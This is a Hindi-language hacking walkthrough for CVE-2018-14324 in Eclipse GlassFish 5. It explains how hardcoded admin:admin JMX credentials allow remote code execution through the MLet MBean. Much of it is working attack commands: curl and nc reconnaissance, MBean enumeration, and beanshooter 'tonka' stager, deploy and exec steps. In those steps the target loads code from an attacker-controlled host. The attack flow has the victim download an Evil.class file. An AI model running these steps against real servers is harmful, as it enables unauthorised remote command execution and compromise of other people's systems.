
Hacking Eclipse GlassFish - CVE-2018-14324
CVE-2018-14324 का विवरण इस कमजोरी के प्रभाव को पूरी तरह से स्पष्ट नहीं करता है। संक्षेप में, आपके पास हार्डकोडेड एडमिन:एडमिन क्रेडेंशियल्स के माध्यम से जावा मैनेजमेंट एक्सटेंशन (JMX) तक पहुंच है।
जबकि प्रभाव को "संभावित रूप से संवेदनशील जानकारी, डेटाबेस ऑपरेशन करना, या JMX RMI सत्र के माध्यम से डेमो में हेरफेर करना" के रूप में सूचीबद्ध किया गया है, यह स्पष्ट नहीं करता है कि JMX RMI सत्र के माध्यम से हेरफेर का क्या अर्थ है।
मैंने केवल 9.8 के उच्च CVSS स्कोर के कारण खोजबीन की और पाया कि आप व्यावहारिक रूप से javax.management.loading:type=MLet MBean के माध्यम से RCE प्राप्त कर सकते हैं, जो डिफ़ॉल्ट रूप से GlassFish 5 इंस्टेंस में सक्षम होता है।
वर्जन बैनर को देखकर GlassFish सर्वर की गणना करें।
curl http://<TARGET>:8080/ -i | grep 'Server:'
curl http://<TARGET>:8181/ -ik | grep 'Server:'
curl http://<TARGET>:80/ -i | grep 'Server:'
यदि संस्करण 5 है, तो यह CVE-2018-14324 के लिए कमजोर है।
फिर जांचें कि JMX RMI सेवा पोर्ट 7676 पर चल रही है या नहीं।
nc <IP_ADDRESS> 7676
आपको JMX RMI सेवा का कनेक्शन स्ट्रिंग दिखाई देना चाहिए। बाद में उपयोग के लिए स्ट्रिंग ले लें।
उदाहरण के लिए:
service:jmx:rmi://vm31465/jndi/rmi://vm31465:8686/vm31465/7676/jmx
जैसा कि आप देख सकते हैं, कनेक्शन स्ट्रिंग में होस्टनाम vm31465 का उपयोग किया गया है, दो पोर्ट का उल्लेख है, 8686 और 7676।
आपको IP पते की ओर इशारा करते हुए अपनी /etc/hosts फ़ाइल में vm31465 जोड़ना चाहिए। यदि आप Beanshooter का उपयोग करते हैं, तो यह आवश्यक नहीं है।
JMX क्या है? यह जावा मैनेजमेंट एक्सटेंशन (JMX) है, एक तकनीक जो आपको जावा अनुप्रयोगों के लिए प्रबंधन इंटरफेस लागू करने में सक्षम बनाती है। इसे जावा अनुप्रयोगों के लिए SNMP समझें।
पहले, आपको लक्ष्य सिस्टम पर उपलब्ध MBeans की गणना करने की आवश्यकता है।
java DumpJMX.java "service:jmx:rmi:///jndi/rmi://<TARGET>:7776/<TARGET>/7676/jmxrmi"
# if does not work
java -jar beanshooter-4.1.0-jar-with-dependencies.jar enum <IP> 8686 --password admin --user admin
इस स्क्रिप्ट से, आप MBeans, उनकी विशेषताओं और संचालन की एक सूची प्राप्त करेंगे।
Mbean com.sun.management:type=DiagnosticCommand आपको लक्ष्य JVM पर डायग्नोस्टिक कमांड चलाने देता है। आप इसका उपयोग सिस्टम गुणों की गणना करने के लिए कर सकते हैं, अधिक जानकारी के लिए DiagnosticCommand.java देखें।
यदि आप javax.management.loading:type=MLet देखते हैं, तो आपको लक्ष्य का शोषण करने में सक्षम होना चाहिए। यह MBean आपको लक्ष्य JVM में दूरस्थ जावा क्लासेस लोड करने की अनुमति देता है।
हालांकि, जावा सुरक्षा प्रबंधक आपको मनमाना कोड निष्पादित करने से रोक सकता है।
RCE के लिए एकमात्र कार्यशील शोषण beanshooter में tomka मॉड्यूल था। कस्टम शोषण सुरक्षा प्रबंधक द्वारा अवरुद्ध कर दिए गए थे। MLet लोडिंग अभी भी काम करती थी, लेकिन क्लास को कोड निष्पादित करने की अनुमति नहीं थी।
लक्ष्य का शोषण करने के लिए Beanshooter tomka मॉड्यूल का उपयोग करें।
git clone https://github.com/qtc-de/beanshooter.git
cd beanshooter
mvn clean package -DskipTests
## STAGER
java -jar beanshooter-4.1.0-jar-with-dependencies.jar stager <ATTACKER-IP> 8080 tonka
## DEPLOY
java -jar target/beanshooter-4.1.0-jar-with-dependencies.jar tonka deploy --username admin --password admin --stack-trace <TARGET> 7776 --stager-url http://<ATTACKER-IP>:8080 --no-stager
## COMMAND EXECUTION
java -jar target/beanshooter-4.1.0-jar-with-dependencies.jar tonka exec --username admin --password admin --stack-trace <TARGET> 7776 'id'
आप अपना स्वयं का MBean लोडर लिखकर और यह निगरानी करके डीबग कर सकते हैं कि लक्ष्य आपके MLet सर्वर से कनेक्ट होता है या नहीं। प्रवाह इस प्रकार है:
attacker -> victim:7776 : javax.management.loading:type=MLet MBean lookup
attacker:8080 <- victim:7776 : Request MLet file
attacker:8080 -> victim:7776 : MLet with URL to Java class file (e.g. http://attacker:8080/Evil.class)
attacker:8080 <- victim:7776 : Request Java class file
attacker:8080 -> victim:7776 : Java class file
attacker -> victim:7776 : Invoke method on loaded Java class (e.g. Evil.listFiles())